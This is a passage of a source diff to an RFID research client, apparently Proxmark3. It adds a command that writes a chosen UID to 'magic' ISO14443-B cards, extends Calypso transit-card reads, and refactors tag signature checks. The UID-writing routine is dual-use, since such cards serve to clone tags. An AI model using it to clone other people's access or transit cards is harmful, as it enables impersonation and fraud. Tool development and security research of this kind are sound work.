"\x94\xa4\x08\x00\x04\x20\x00\x20\x20", 9}, + {"12.Contra1 ", "\x94\xb2\x01\x04\x1d", 5}, + {"13.Contra2 ", "\x94\xb2\x02\x04\x1d", 5}, + {"14.Contra3 ", "\x94\xb2\x03\x04\x1d", 5}, + {"15.Contra4 ", "\x94\xb2\x04\x04\x1d", 5}, + {"16.Select Counter ", "\x94\xa4\x08\x00\x04\x20\x00\x20\x69", 9}, + {"17.Counter ", "\x94\xb2\x01\x04\x1d", 5}, + {"18.Select SpecEv ", "\x94\xa4\x08\x00\x04\x20\x00\x20\x40", 9}, + {"19.SpecEv1 ", "\x94\xb2\x01\x04\x1d", 5}, + {"20.Select Purse ", "\x00\xa4\x00\x00\x02\x10\x15", 7}, + {"21.Purse1 ", "\x00\xb2\x01\x04\x1d", 5}, + {"22.Purse2 ", "\x00\xb2\x02\x04\x1d", 5}, + {"23.Purse3 ", "\x00\xb2\x03\x04\x1d", 5}, + {"24.Select Top Up ", "\x00\xa4\x00\x00\x02\x10\x14", 7}, + {"25.Topup1 ", "\x00\xb2\x01\x04\x1d", 5}, + {"26.Select 1TIC.ICA", "\x00\xa4\x04\x00\x08\x31\x54\x49\x43\x2e\x49\x43\x41", 13}, }; /* @@ -2759,9 +2787,8 @@ static int CmdHF14BCalypsoRead(const char *Cmd) { uint16_t sw = get_sw(response, resplen); if (sw != ISO7816_OK) { - PrintAndLogEx(ERR, "Sending command failed (%04x - %s).", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); - switch_off_field_14b(); - return PM3_ESOFT; + PrintAndLogEx(INFO, "%s - command failed (%04x - %s).", cmds[i].desc, sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); + continue; } PrintAndLogEx(INFO, "%s - %s", cmds[i].desc, sprint_hex(response, resplen)); @@ -2877,6 +2904,85 @@ static int CmdHF14BMobibRead(const char *Cmd) { return PM3_SUCCESS; } +static int CmdHF14BSetUID(const char *Cmd) { + + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf 14b setuid", + "Set UID for magic card (only works with such cards)\n", + "hf 14b setuid -u 11223344\n" + ); + + void *argtable[] = { + arg_param_begin, + arg_str1("u", "uid", "", "UID, 4 hex bytes"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + + uint8_t uid[20] = {0}; + int uidlen = 20; + CLIGetHexWithReturn(ctx, 1, uid, &uidlen); + CLIParserFree(ctx); + + if (uidlen != 4) { + PrintAndLogEx(WARNING, "UID len must be 4 bytes, got " _RED_("%i"), uidlen); + return PM3_EINVARG; + } + + uint8_t select[sizeof(iso14b_card_select_t)] = {0}; + iso14b_type_t select_cardtype = ISO14B_NONE; + if (get_14b_UID(select, &select_cardtype) == false) { + PrintAndLogEx(WARNING, "no tag found"); + return PM3_SUCCESS; + } + + if (select_cardtype != ISO14B_STANDARD) { + PrintAndLogEx(FAILED, "None supported tag"); + return switch_off_field_14b(); + } + + iso14b_card_select_t *card = (iso14b_card_select_t *)select; + if (memcmp(card->atqb, "\x54\x43\x4F\x53", 4)) { + PrintAndLogEx(FAILED, "None supported tag"); + PrintAndLogEx(NORMAL, ""); + return switch_off_field_14b(); + } + + int outlen = 0; + uint8_t out[PM3_CMD_DATA_SIZE] = {0}; + uint8_t tcos_version[] = {0x90, 0xB2, 0x90, 0x00, 0x00}; + if (exchange_14b_apdu(tcos_version, sizeof(tcos_version), true, false, out, PM3_CMD_DATA_SIZE, &outlen, -1) != PM3_SUCCESS) { + PrintAndLogEx(FAILED, "None supported tag"); + return PM3_EFAILED; + } + + uint8_t cmd[] = { 0x90, 0xF8, 0xEE, 0xEE, 0x0B, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + memcpy(cmd + 6, uid, uidlen); + if (exchange_14b_apdu(cmd, sizeof(cmd), true, false, out, PM3_CMD_DATA_SIZE, &outlen, -1) != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return PM3_EFAILED; + } + + PrintAndLogEx(INFO, "Verifying..."); + + // verify + if (get_14b_UID(select, &select_cardtype) == false) { + PrintAndLogEx(WARNING, "no tag found"); + return PM3_SUCCESS; + } + + if (memcmp(card->uid, uid, uidlen) == 0) { + PrintAndLogEx(SUCCESS, "Setting new UID ( " _GREEN_("ok") " )"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf 14b reader") "` to verify"); + PrintAndLogEx(NORMAL, ""); + return PM3_SUCCESS;; + } + + PrintAndLogEx(FAILED, "Setting new UID ( " _RED_("fail") " )"); + PrintAndLogEx(NORMAL, ""); + return PM3_SUCCESS; +} + static command_t CommandTable[] = { {"---------", CmdHelp, AlwaysAvailable, "----------------------- " _CYAN_("General") " -----------------------"}, {"help", CmdHelp, AlwaysAvailable, "This help"}, @@ -2898,6 +3004,8 @@ static command_t CommandTable[] = { {"---------", CmdHelp, AlwaysAvailable, "------------------ " _CYAN_("Calypso / Mobib") " ------------------"}, {"calypso", CmdHF14BCalypsoRead, IfPm3Iso14443b, "Read contents of a Calypso card"}, {"mobib", CmdHF14BMobibRead, IfPm3Iso14443b, "Read contents of a Mobib card"}, + {"---------", CmdHelp, IfPm3Iso14443b, "------------------------- " _CYAN_("Magic") " -----------------------"}, + {"setuid", CmdHF14BSetUID, IfPm3Iso14443b, "Set UID for magic card"}, {NULL, NULL, NULL, NULL} }; @@ -2925,7 +3033,9 @@ int infoHF14B(bool verbose, bool do_aid_search) { // try unknown 14b read commands (to be identified later) // could be read of calypso, CEPAS, moneo, or pico pass. - if (verbose) PrintAndLogEx(FAILED, "no 14443-B tag found"); + if (verbose) { + PrintAndLogEx(FAILED, "no 14443-B tag found"); + } return PM3_EOPABORTED; } @@ -2969,7 +3079,7 @@ plot: } } - } while (loop && kbd_enter_pressed() == false); + } while (loop && (kbd_enter_pressed() == false)); if (verbose && found == false) { PrintAndLogEx(FAILED, "no ISO 14443-B tag found"); diff --git a/client/src/cmdhf14b.h b/client/src/cmdhf14b.h index 009395ba2..065dbc29c 100644 --- a/client/src/cmdhf14b.h +++ b/client/src/cmdhf14b.h @@ -31,4 +31,5 @@ int select_card_14443b_4(bool disconnect, iso14b_card_select_t *card); int infoHF14B(bool verbose, bool do_aid_search); int readHF14B(bool loop, bool verbose, bool read_plot); + #endif diff --git a/client/src/cmdhf15.c b/client/src/cmdhf15.c index 7dd35ef64..d27c8d049 100644 --- a/client/src/cmdhf15.c +++ b/client/src/cmdhf15.c @@ -43,28 +43,13 @@ #include "cliparser.h" #include "util_posix.h" // msleep #include "iso15.h" // typedef structs / enum +#include "crypto/originality.h" #define FrameSOF Iso15693FrameSOF #define Logic0 Iso15693Logic0 #define Logic1 Iso15693Logic1 #define FrameEOF Iso15693FrameEOF #define CARD_MEMORY_SIZE 4096 -#define HF15_UID_LENGTH 8 - -#ifndef Crc15 -# define Crc15(data, len) Crc16ex(CRC_15693, (data), (len)) -#endif -#ifndef CheckCrc15 -# define CheckCrc15(data, len) check_crc(CRC_15693, (data), (len)) -#endif -#ifndef AddCrc15 -#define AddCrc15(data, len) compute_crc(CRC_15693, (data), (len), (data)+(len), (data)+(len)+1) -#endif - -#ifndef ISO15_RAW_LEN -#define ISO15_RAW_LEN(x) (sizeof(iso15_raw_cmd_t) + (x)) -#endif - #ifndef ISO15_ERROR_HANDLING_RESPONSE #define ISO15_ERROR_HANDLING_RESPONSE { \ @@ -282,120 +267,35 @@ static int CmdHF15Help(const char *Cmd); static int nxp_15693_print_signature(uint8_t *uid, uint8_t *signature) { -#define PUBLIC_ECDA_KEYLEN 33 - const ecdsa_publickey_t nxp_15693_public_keys[] = { - {"NXP MIFARE Classic MFC1C14_x", "044F6D3F294DEA5737F0F46FFEE88A356EED95695DD7E0C27A591E6F6F65962BAF"}, - {"MIFARE Classic / QL88", "046F70AC557F5461CE5052C8E4A7838C11C7A236797E8A0730A101837C004039C2"}, - {"NXP ICODE DNA, ICODE SLIX2", "048878A2A2D3EEC336B4F261A082BD71F9BE11C4E2E896648B32EFA59CEA6E59F0"}, - {"NXP Public key", "04A748B6A632FBEE2C0897702B33BEA1C074998E17B84ACA04FF267E5D2C91F6DC"}, - {"NXP Ultralight Ev1", "0490933BDCD6E99B4E255E3DA55389A827564E11718E017292FAF23226A96614B8"}, - {"NXP NTAG21x (2013)", "04494E1A386D3D3CFE3DC10E5DE68A499B1C202DB5B132393E89ED19FE5BE8BC61"}, - {"MIKRON Public key", "04F971EDA742A4A80D32DCF6A814A707CC3DC396D35902F72929FDCD698B3468F2"}, - {"VivoKey Spark1 Public key", "04D64BB732C0D214E7EC580736ACF847284B502C25C0F7F2FA86AACE1DADA4387A"}, - {"TruST25 (ST) key 01?", "041D92163650161A2548D33881C235D0FB2315C2C31A442F23C87ACF14497C0CBA"}, - {"TruST25 (ST) key 04?", "04101E188A8B4CDDBC62D5BC3E0E6850F0C2730E744B79765A0E079907FBDB01BC"}, - }; - /* - uint8_t nxp_15693_public_keys[][PUBLIC_ECDA_KEYLEN] = { - // ICODE SLIX2 / DNA - { - 0x04, 0x88, 0x78, 0xA2, 0xA2, 0xD3, 0xEE, 0xC3, - 0x36, 0xB4, 0xF2, 0x61, 0xA0, 0x82, 0xBD, 0x71, - 0xF9, 0xBE, 0x11, 0xC4, 0xE2, 0xE8, 0x96, 0x64, - 0x8B, 0x32, 0xEF, 0xA5, 0x9C, 0xEA, 0x6E, 0x59, 0xF0 - }, - // unknown. Needs identification - { - 0x04, 0x4F, 0x6D, 0x3F, 0x29, 0x4D, 0xEA, 0x57, - 0x37, 0xF0, 0xF4, 0x6F, 0xFE, 0xE8, 0x8A, 0x35, - 0x6E, 0xED, 0x95, 0x69, 0x5D, 0xD7, 0xE0, 0xC2, - 0x7A, 0x59, 0x1E, 0x6F, 0x6F, 0x65, 0x96, 0x2B, 0xAF - }, - // unknown. Needs identification - { - 0x04, 0xA7, 0x48, 0xB6, 0xA6, 0x32, 0xFB, 0xEE, - 0x2C, 0x08, 0x97, 0x70, 0x2B, 0x33, 0xBE, 0xA1, - 0xC0, 0x74, 0x99, 0x8E, 0x17, 0xB8, 0x4A, 0xCA, - 0x04, 0xFF, 0x26, 0x7E, 0x5D, 0x2C, 0x91, 0xF6, 0xDC - }, - // manufacturer public key - { - 0x04, 0x6F, 0x70, 0xAC, 0x55, 0x7F, 0x54, 0x61, - 0xCE, 0x50, 0x52, 0xC8, 0xE4, 0xA7, 0x83, 0x8C, - 0x11, 0xC7, 0xA2, 0x36, 0x79, 0x7E, 0x8A, 0x07, - 0x30, 0xA1, 0x01, 0x83, 0x7C, 0x00, 0x40, 0x39, 0xC2 - }, - // MIKRON public key. - { - 0x04, 0xf9, 0x71, 0xed, 0xa7, 0x42, 0xa4, 0xa8, - 0x0d, 0x32, 0xdc, 0xf6, 0xa8, 0x14, 0xa7, 0x07, - 0xcc, 0x3d, 0xc3, 0x96, 0xd3, 0x59, 0x02, 0xf7, - 0x29, 0x29, 0xfd, 0xcd, 0x69, 0x8b, 0x34, 0x68, 0xf2 - } - }; - */ - - uint8_t revuid[HF15_UID_LENGTH] = {0}; - reverse_array_copy(uid, sizeof(revuid), revuid); - - uint8_t revsign[32] = {0}; - reverse_array_copy(signature, sizeof(revsign), revsign); - - uint8_t i; int reason = 0; - bool is_valid = false; - for (i = 0; i < ARRAYLEN(nxp_15693_public_keys); i++) { - - int dl = 0; - uint8_t key[PUBLIC_ECDA_KEYLEN]; - param_gethex_to_eol(nxp_15693_public_keys[i].value, 0, key, PUBLIC_ECDA_KEYLEN, &dl); - - int res = ecdsa_signature_r_s_verify(MBEDTLS_ECP_DP_SECP128R1, key, uid, 8, signature, 32, false); - is_valid = (res == 0); - if (is_valid) { - reason = 1; - break; - } - + int index = originality_check_verify(uid, 8, signature, 32, PK_15); + if (index >= 0) { + reason = 1; + } else { // try with sha256 - res = ecdsa_signature_r_s_verify(MBEDTLS_ECP_DP_SECP128R1, key, uid, 8, signature, 32, true); - is_valid = (res == 0); - if (is_valid) { + index = originality_check_verify_ex(uid, 8, signature, 32, PK_15, false, true); + if (index >= 0) { reason = 2; - break; - } - - // try with reversed uid / signature - res = ecdsa_signature_r_s_verify(MBEDTLS_ECP_DP_SECP128R1, key, revuid, sizeof(revuid), revsign, sizeof(revsign), false); - is_valid = (res == 0); - if (is_valid) { - reason = 3; - break; - } - - // try with sha256 - res = ecdsa_signature_r_s_verify(MBEDTLS_ECP_DP_SECP128R1, key, revuid, sizeof(revuid), revsign, sizeof(revsign), true); - is_valid = (res == 0); - if (is_valid) { - reason = 4; - break; + } else { + // try with reversed uid / signature + index = originality_check_verify_ex(uid, 8, signature, 32, PK_15, true, false); + if (index >= 0) { + reason = 3; + } else { + // try with sha256 and reversed uid / signature + index = originality_check_verify_ex(uid, 8, signature, 32, PK_15, true, true); + if (index >= 0) { + reason = 3; + } + } } } - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "--- " _CYAN_("Tag Signature")); - if (is_valid == false || i == ARRAYLEN(nxp_15693_public_keys)) { - PrintAndLogEx(INFO, " Elliptic curve parameters: NID_secp128r1"); - PrintAndLogEx(INFO, " TAG IC Signature: %s", sprint_hex_inrow(signature, 32)); - PrintAndLogEx(SUCCESS, " Signature verification: " _RED_("failed")); - return PM3_ESOFT; + int ret = originality_check_print(signature, 32, index); + if (ret != PM3_SUCCESS) { + return ret; } - PrintAndLogEx(INFO, " IC signature public key name: " _GREEN_("%s"), nxp_15693_public_keys[i].desc); - PrintAndLogEx(INFO, "IC signature public key value: %s", nxp_15693_public_keys[i].value); - PrintAndLogEx(INFO, " Elliptic curve parameters: NID_secp128r1"); - PrintAndLogEx(INFO, " TAG IC Signature: %s", sprint_hex_inrow(signature, 32)); - PrintAndLogEx(SUCCESS, " Signature verification: " _GREEN_("successful")); switch (reason) { case 1: PrintAndLogEx(INFO, " Params used: UID and signature, plain"); @@ -416,14 +316,15 @@ static int nxp_15693_print_signature(uint8_t *uid, uint8_t *signature) { // get a product description based on the UID // uid[8] tag uid // returns description of the best match -static const char *getTagInfo_15(const uint8_t *uid) { +static void printTagInfo_15(const uint8_t *uid) { if (uid == NULL) { - return ""; + return; } uint64_t myuid, mask; int i = 0, best = -1; memcpy(&myuid, uid, sizeof(uint64_t)); + // find first best match while (uidmapping[i].mask > 0) { if (uidmapping[i].mask > 64) { mask = uidmapping[i].mask; @@ -441,10 +342,23 @@ static const char *getTagInfo_15(const uint8_t *uid) { } i++; } + if (best >= 0) { + i = 0; + while (uidmapping[i].mask > 0) { + if (uidmapping[i].mask > 64) { + mask = uidmapping[i].mask; + } else { + mask = (~0ULL) << (64 - uidmapping[i].mask); + } + if (((myuid & mask) == uidmapping[i].uid) && (uidmapping[i].mask == uidmapping[best].mask)) { + PrintAndLogEx(SUCCESS, "TYPE MATCH " _YELLOW_("%s"), uidmapping[i].desc); + } + i++; + } + } else { + PrintAndLogEx(SUCCESS, "TYPE...... " _YELLOW_("%s"), uidmapping[i].desc); + } - if (best >= 0) - return uidmapping[best].desc; - return uidmapping[i].desc; } // return a clear-text message to an errorcode @@ -501,7 +415,7 @@ static int getUID(bool verbose, bool loop, uint8_t *buf) { uint8_t approxlen = 5; iso15_raw_cmd_t *packet = (iso15_raw_cmd_t *)calloc(1, sizeof(iso15_raw_cmd_t) + approxlen); if (packet == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -531,7 +445,7 @@ static int getUID(bool verbose, bool loop, uint8_t *buf) { if (verbose) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(SUCCESS, "UID.... " _GREEN_("%s"), iso15693_sprintUID(NULL, buf)); - PrintAndLogEx(SUCCESS, "TYPE... " _YELLOW_("%s"), getTagInfo_15(buf)); + printTagInfo_15(buf); PrintAndLogEx(NORMAL, ""); } res = PM3_SUCCESS; @@ -549,7 +463,7 @@ static int getUID(bool verbose, bool loop, uint8_t *buf) { // used with 'hf search' bool readHF15Uid(bool loop, bool verbose) { - uint8_t uid[HF15_UID_LENGTH] = {0}; + uint8_t uid[ISO15693_UID_LENGTH] = {0}; if (getUID(verbose, loop, uid) != PM3_SUCCESS) { return false; } @@ -604,7 +518,7 @@ static int CmdHF15Demod(const char *Cmd) { if (g_GraphTraceLen < 1000) { PrintAndLogEx(FAILED, "Too few samples in GraphBuffer"); - PrintAndLogEx(HINT, "Run " _YELLOW_("`hf 15 samples`") " to collect and download data"); + PrintAndLogEx(HINT, "Hint: Run `" _YELLOW_("hf 15 samples") "` to collect and download data"); return PM3_ESOFT; } @@ -729,7 +643,7 @@ static int CmdHF15Samples(const char *Cmd) { getSamples(0, true); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf 15 demod") "` to decode signal"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf 15 demod") "` to decode signal"); PrintAndLogEx(INFO, "Done!"); return PM3_SUCCESS; } @@ -740,10 +654,10 @@ static int NxpTestEAS(const uint8_t *uid) { return PM3_EINVARG; } - uint8_t approxlen = 3 + HF15_UID_LENGTH + 2; + uint8_t approxlen = 3 + ISO15693_UID_LENGTH + 2; iso15_raw_cmd_t *packet = (iso15_raw_cmd_t *)calloc(1, sizeof(iso15_raw_cmd_t) + approxlen); if (packet == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -752,8 +666,8 @@ static int NxpTestEAS(const uint8_t *uid) { packet->raw[packet->rawlen++] = ISO15693_EAS_ALARM; packet->raw[packet->rawlen++] = 0x04; // IC manufacturer code - memcpy(packet->raw + packet->rawlen, uid, HF15_UID_LENGTH); // add UID - packet->rawlen += HF15_UID_LENGTH; + memcpy(packet->raw + packet->rawlen, uid, ISO15693_UID_LENGTH); // add UID + packet->rawlen += ISO15693_UID_LENGTH; AddCrc15(packet->raw, packet->rawlen); packet->rawlen += 2; @@ -795,10 +709,10 @@ static int NxpCheckSig(uint8_t *uid) { return PM3_EINVARG; } - uint8_t approxlen = 3 + HF15_UID_LENGTH + 2; + uint8_t approxlen = 3 + ISO15693_UID_LENGTH + 2; iso15_raw_cmd_t *packet = (iso15_raw_cmd_t *)calloc(1, sizeof(iso15_raw_cmd_t) + approxlen); if (packet == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -808,8 +722,8 @@ static int NxpCheckSig(uint8_t *uid) { packet->raw[packet->rawlen++] = ISO15693_READ_SIGNATURE; packet->raw[packet->rawlen++] = 0x04; // IC manufacturer code - memcpy(packet->raw + packet->rawlen, uid, HF15_UID_LENGTH); // add UID - packet->rawlen += HF15_UID_LENGTH; + memcpy(packet->raw + packet->rawlen, uid, ISO15693_UID_LENGTH); // add UID + packet->rawlen += ISO15693_UID_LENGTH; AddCrc15(packet->raw, packet->rawlen); packet->rawlen += 2; @@ -852,7 +766,7 @@ static int NxpSysInfo(uint8_t *uid) { uint8_t approxlen = 13; iso15_raw_cmd_t *packet = (iso15_raw_cmd_t *)calloc(1, sizeof(iso15_raw_cmd_t) + approxlen); if (packet == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -862,7 +776,7 @@ static int NxpSysInfo(uint8_t *uid) { packet->raw[packet->rawlen++] = 0x04; // IC manufacturer code memcpy(packet->raw + 3, uid, 8); // add UID - packet->rawlen += HF15_UID_LENGTH; + packet->rawlen += ISO15693_UID_LENGTH; AddCrc15(packet->raw, packet->rawlen); packet->rawlen += 2; @@ -896,6 +810,8 @@ static int NxpSysInfo(uint8_t *uid) { PrintAndLogEx(INFO, ""); PrintAndLogEx(INFO, _CYAN_(" Password protection configuration")); + PrintAndLogEx(INFO, " Page prot. ptr. " _YELLOW_("%d"), d[1]); + PrintAndLogEx(INFO, " Page L read.... %s" , (d[2] & 0x01) ? _RED_("password") : _GREEN_("no password") ); @@ -963,6 +879,66 @@ static int NxpSysInfo(uint8_t *uid) { return PM3_SUCCESS; } +static int StCheckSig(uint8_t *uid) { + // request to be sent to device/card + uint8_t approxlen = 2 + 8 + 1 + 2; + iso15_raw_cmd_t *packet = (iso15_raw_cmd_t *)calloc(1, sizeof(iso15_raw_cmd_t) + approxlen); + if (packet == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } + + // ISO15693 Protocol params + packet->raw[packet->rawlen++] = arg_get_raw_flag(ISO15693_UID_LENGTH, false, false, false); + packet->raw[packet->rawlen++] = ISO15693_READBLOCK; + // add UID (scan, uid) + memcpy(packet->raw + packet->rawlen, uid, ISO15693_UID_LENGTH); + packet->rawlen += ISO15693_UID_LENGTH; + packet->flags = (ISO15_CONNECT | ISO15_READ_RESPONSE | ISO15_NO_DISCONNECT); + uint16_t blkoff = packet->rawlen; + char signature_hex[65] = {0}; + for (int j = 0; j < 17; j++) { + packet->rawlen = blkoff; + // block no + packet->raw[packet->rawlen++] = 0x3F + j; + // crc + AddCrc15(packet->raw, packet->rawlen); + packet->rawlen += 2; + clearCommandBuffer(); + SendCommandNG(CMD_HF_ISO15693_COMMAND, (uint8_t *)packet, ISO15_RAW_LEN(packet->rawlen)); + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_HF_ISO15693_COMMAND, &resp, 2000) == false) { + PrintAndLogEx(DEBUG, "iso15693 timeout"); + free(packet); + DropField(); + return PM3_ETIMEOUT; + } + ISO15_ERROR_HANDLING_RESPONSE + uint8_t *d = resp.data.asBytes; + ISO15_ERROR_HANDLING_CARD_RESPONSE(d, resp.length) + if (j == 0) { + if (memcmp(d + 1, "K04S", 4) != 0) { + // No signature + free(packet); + return PM3_ESOFT; + } + } else { + memcpy(signature_hex + ((j - 1) * 4), d + 1, 4); + } + packet->flags = (ISO15_READ_RESPONSE | ISO15_NO_DISCONNECT); + } + free(packet); + DropField(); + uint8_t signature[16]; + size_t signature_len; + hexstr_to_byte_array(signature_hex, signature, &signature_len); + uint8_t uid_swap[ISO15693_UID_LENGTH]; + reverse_array_copy(uid, ISO15693_UID_LENGTH, uid_swap); + int index = originality_check_verify_ex(uid_swap, ISO15693_UID_LENGTH, signature, signature_len, PK_ST25TV, false, true); + PrintAndLogEx(NORMAL, ""); + return originality_check_print(signature, signature_len, index); +} + /** * Commandline handling: HF15 CMD SYSINFO * get system information from tag/VICC @@ -983,7 +959,7 @@ static int CmdHF15Info(const char *Cmd) { CLIExecWithReturn(ctx, Cmd, argtable, true); - uint8_t uid[HF15_UID_LENGTH]; + uint8_t uid[ISO15693_UID_LENGTH]; int uidlen = 0; CLIGetHexWithReturn(ctx, 1, uid, &uidlen); bool unaddressed = arg_get_lit(ctx, 2); @@ -1000,7 +976,7 @@ static int CmdHF15Info(const char *Cmd) { } // default fallback to scan for tag. - if (unaddressed == false && uidlen != HF15_UID_LENGTH) { + if (unaddressed == false && uidlen != ISO15693_UID_LENGTH) { scan = true; } @@ -1011,7 +987,7 @@ static int CmdHF15Info(const char *Cmd) { iso15_raw_cmd_t *packet = (iso15_raw_cmd_t *)calloc(1, sizeof(iso15_raw_cmd_t) + approxlen); if (packet == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -1027,10 +1003,10 @@ static int CmdHF15Info(const char *Cmd) { free(packet); return PM3_EINVARG; } - uidlen = HF15_UID_LENGTH; + uidlen = ISO15693_UID_LENGTH; } - if (uidlen == HF15_UID_LENGTH) { + if (uidlen == ISO15693_UID_LENGTH) { // add UID (scan, uid) memcpy(packet->raw + packet->rawlen, uid, uidlen); packet->rawlen += uidlen; @@ -1071,7 +1047,7 @@ static int CmdHF15Info(const char *Cmd) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "--- " _CYAN_("Tag Information") " ---------------------------"); PrintAndLogEx(SUCCESS, "UID....... " _GREEN_("%s"), iso15693_sprintUID(NULL, uid)); - PrintAndLogEx(SUCCESS, "TYPE...... " _YELLOW_("%s"), getTagInfo_15(d + 2)); + printTagInfo_15(d + 2); PrintAndLogEx(SUCCESS, "SYSINFO... %s", sprint_hex(d, resp.length - 2)); // DSFID @@ -1109,19 +1085,29 @@ static int CmdHF15Info(const char *Cmd) { uint8_t nxp_version = d[6] & 0x18; PrintAndLogEx(DEBUG, "NXP Version: %02x", nxp_version); - if (d[8] == 0x04 && d[7] == 0x01 && nxp_version == 0x08) { - PrintAndLogEx(DEBUG, "SLIX2 Detected, getting NXP System Info"); - return NxpSysInfo(uid); - - } else if (d[8] == 0x04 && d[7] == 0x01 && nxp_version == 0x18) { // If it is an NTAG 5 - PrintAndLogEx(DEBUG, "NTAG 5 Detected, getting NXP System Info"); - return NxpSysInfo(uid); - - } else if (d[8] == 0x04 && (d[7] == 0x01 || d[7] == 0x02 || d[7] == 0x03)) { // If SLI, SLIX, SLIX-l, or SLIX-S check EAS status - PrintAndLogEx(DEBUG, "SLI, SLIX, SLIX-L, or SLIX-S Detected checking EAS status"); - return NxpTestEAS(uid); + if (d[8] == 0x04) { + // NXP + if (d[7] == 0x01 && nxp_version == 0x08) { + PrintAndLogEx(DEBUG, "SLIX2 Detected, getting NXP System Info"); + return NxpSysInfo(uid); + } else if (d[7] == 0x01 && nxp_version == 0x18) { // If it is an NTAG 5 + PrintAndLogEx(DEBUG, "NTAG 5 Detected, getting NXP System Info"); + return NxpSysInfo(uid); + } else if ((d[7] == 0x01 || d[7] == 0x02 || d[7] == 0x03)) { // If SLI, SLIX, SLIX-l, or SLIX-S check EAS status + PrintAndLogEx(DEBUG, "SLI, SLIX, SLIX-L, or SLIX-S Detected checking EAS status"); + return NxpTestEAS(uid); + } + } else if (d[8] == 0x02) { + // ST, check d[7]: + // ST25TV512C/ST25TV02KC 0x08 + // ST25TV512/ST25TV02K 0x23 + // ST25TV04K-P 0x35 + // ST25TV16K/ST25TV64K 0x48 + if (d[7] == 0x08) { + PrintAndLogEx(DEBUG, "ST25TVxC Detected, getting ST Signature"); + return StCheckSig(uid); + } } - PrintAndLogEx(NORMAL, ""); return PM3_SUCCESS; } @@ -1146,8 +1132,8 @@ static int CmdHF15Sniff(const char *Cmd) { WaitForResponse(CMD_HF_ISO15693_SNIFF, &resp); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf 15 list") "` to view captured tracelog"); - PrintAndLogEx(HINT, "Try `" _YELLOW_("trace save -h") "` to save tracelog for later analysing"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf 15 list") "` to view captured tracelog"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("trace save -h") "` to save tracelog for later analysing"); PrintAndLogEx(INFO, "Done!"); return PM3_SUCCESS; } @@ -1179,7 +1165,9 @@ static void hf15EmlClear(void) { clearCommandBuffer(); SendCommandNG(CMD_HF_ISO15693_EML_CLEAR, NULL, 0); PacketResponseNG resp; - WaitForResponse(CMD_HF_ISO15693_EML_CLEAR, &resp); + if (WaitForResponseTimeout(CMD_HF_ISO15693_EML_CLEAR, &resp, 2500) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + } } static int hf15EmlSetMem(const uint8_t *data, uint16_t count, size_t offset) { @@ -1195,6 +1183,10 @@ static int hf15EmlSetMem(const uint8_t *data, uint16_t count, size_t offset) { size_t paylen = sizeof(struct p) + count; struct p *payload = calloc(1, paylen); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->offset = offset; payload->count = count; @@ -1248,8 +1240,11 @@ static int CmdHF15ELoad(const char *Cmd) { ((tag->pagesCount * tag->bytesPerPage) > ISO15693_TAG_MAX_SIZE) || (tag->pagesCount == 0) || (tag->bytesPerPage == 0)) { + PrintAndLogEx(FAILED, "Tag size error: pagesCount=%d, bytesPerPage=%d", - tag->pagesCount, tag->bytesPerPage); + tag->pagesCount, + tag->bytesPerPage + ); free(tag); return PM3_EINVARG; } @@ -1289,7 +1284,7 @@ static int CmdHF15ELoad(const char *Cmd) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(SUCCESS, "uploaded " _YELLOW_("%zu") " bytes to emulator memory", offset); - PrintAndLogEx(HINT, "You are ready to simulate. See " _YELLOW_("`hf 15 sim -h`")); + PrintAndLogEx(HINT, "Hint: You are ready to simulate. See `" _YELLOW_("hf 15 sim -h") "`"); PrintAndLogEx(INFO, "Done!"); return PM3_SUCCESS; } @@ -1317,7 +1312,7 @@ static int CmdHF15ESave(const char *Cmd) { // reserve memory uint8_t *dump = calloc(bytes, sizeof(uint8_t)); if (dump == NULL) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -1403,7 +1398,7 @@ static void print_tag_15693(iso15_tag_t *tag, bool dense_output, bool verbose) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "--- " _CYAN_("Tag Information") " --%.*s", (tag->bytesPerPage * 3), dashes); PrintAndLogEx(SUCCESS, "UID....... " _GREEN_("%s"), iso15693_sprintUID(NULL, tag->uid)); - PrintAndLogEx(SUCCESS, "TYPE...... " _YELLOW_("%s"), getTagInfo_15(tag->uid)); + printTagInfo_15(tag->uid); PrintAndLogEx(SUCCESS, "DSFID..... 0x%02X", tag->dsfid); PrintAndLogEx(SUCCESS, "AFI....... 0x%02X", tag->afi); PrintAndLogEx(SUCCESS, "IC ref.... 0x%02X", tag->ic); @@ -1448,7 +1443,7 @@ static int CmdHF15EView(const char 